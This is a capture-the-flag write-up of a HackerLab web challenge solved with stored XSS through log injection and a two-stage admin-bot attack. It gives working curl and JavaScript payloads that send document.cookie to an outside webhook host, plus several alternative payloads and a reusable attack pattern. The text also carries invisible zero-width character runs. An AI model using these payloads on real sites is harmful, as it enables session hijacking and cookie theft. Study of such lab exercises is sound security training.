Нулевая публикация (Null Publication)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Admin bot exploitation, Cookie exfiltration via external webhook, Stored XSS via log file injection, Two-stage XSS exploitation (create payload, trigger bot)

Summary

Task: Web app with subscription-based content and report functionality. Solution: Stored XSS via log injection with two-stage attack - create XSS payload in log, then trigger admin bot to visit it and exfiltrate cookies via webhook.

Нулевая публикация (Null Publication) — HackerLab

Description

"Похоже, что без подписки не получится прочитать ни одну публикацию. Или все-таки получится?"

(Looks like you can't read any publication without a subscription. Or can you?)

Analysis

Reconnaissance

• Server: Werkzeug/3.1.3 Python/3.9.18 (Flask)
• Found 3 publications with IDs: 8f4d2e, 3a9c1b, 5e7f0d
• Publications require subscription to view full content
• Discovered /report endpoint for creating logs
• Discovered /logs/<filename> endpoint for viewing logs ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Discovery

The /report endpoint accepts a pub_path parameter that is saved to a log file. When viewing the log via /logs/log_xxx.txt, the pub_path value is rendered without HTML escaping, leading to Stored XSS.

XSS testing:

 bash read-only • copy allowed Copy
curl -X POST "http://62.173.140.174:16067/report" \
  -d "pub_path=<script>alert(1)</script>"
# Returns: {"log_url":"/logs/log_xxx.txt",...}

The <script> tag appears in the log HTML without escaping.

Solution

Two-Stage Attack

Step 1: Create a log with XSS payload for cookie stealing

 bash read-only • copy allowed Copy
curl -X POST "http://62.173.140.174:16067/report" \
  -d "pub_path=<script>window.location.href='https://webhook.site/80d170e9-c42e-4c53-a7db-cebdf5a3a190?c='%2Bdocument.cookie</script>"

Returns: {"log_url":"/logs/log_mtCLNf2n1p.txt",...} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Send the malicious log path to trigger the bot

 bash read-only • copy allowed Copy
curl -X POST "http://62.173.140.174:16067/report" \
  -d "pub_path=/logs/log_mtCLNf2n1p.txt"

The admin bot visits the specified path, opens the log with XSS, executes JavaScript, and sends cookies to our webhook.

Result

Webhook received a request with cookie: FLAG=CODEBY{REDACTED}

Lessons

1. Stored XSS in logs — logs are often insufficiently sanitized
2. Two-stage attack — create payload, then make the victim execute it
3. Admin bot exploitation — report functionality often triggers a bot
4. Cookie exfiltration — classic way to obtain session/flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative Payloads

 javascript read-only • copy allowed Copy
// Fetch API
<script>fetch('https://webhook.site/xxx?c='+document.cookie)</script>

// Image beacon
<script>new Image().src='https://webhook.site/xxx?c='+document.cookie</script>

// XMLHttpRequest
<script>var x=new XMLHttpRequest();x.open('GET','https://webhook.site/xxx?c='+document.cookie);x.send()</script>

---

Lessons and Mistakes

What I did WRONG (time wasted):

1. Didn't check XSS immediately — spent a lot of time on:

   • LFI/Path traversal via /logs/..%2f
   • Brute forcing publication IDs (000000, MD5 hashes)
   • SQL injection in search
   • SSTI in various parameters
   • Cookie and header manipulation

   XSS is a basic check for Web tasks, should test within the first 5 minutes! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Didn't understand the report endpoint mechanics — the bot visits INTERNAL paths, not external URLs

3. Didn't immediately understand the two-stage attack — need to create a log with XSS, then send the bot the path to that log

Checklist for Web tasks with report/feedback:

□ 1. Is there report/feedback? → Most likely there's a BOT
□ 2. Check XSS in ALL parameters (especially those that are displayed)
□ 3. If XSS works → think about HOW the bot will see it
□ 4. Two-stage attack:
     - Create a page/log with XSS
     - Send the bot the PATH to that page (not an external URL!)
□ 5. Steal cookies → often contains flag or admin session

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

"Report to Admin Bot" Pattern:

 bash read-only • copy allowed Copy
# Step 1: Inject XSS into stored location (log, comment, profile)
curl -X POST /report -d "param=<script>location='http://webhook?c='+document.cookie</script>"
# Get path: /logs/log_xxx.txt

# Step 2: Make the bot visit that location
curl -X POST /report -d "param=/logs/log_xxx.txt"

Key Rule:

Web + Report/Feedback = XSS + Bot

The bot visits INTERNAL paths. Two-stage attack: create XSS → send the bot the path to it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍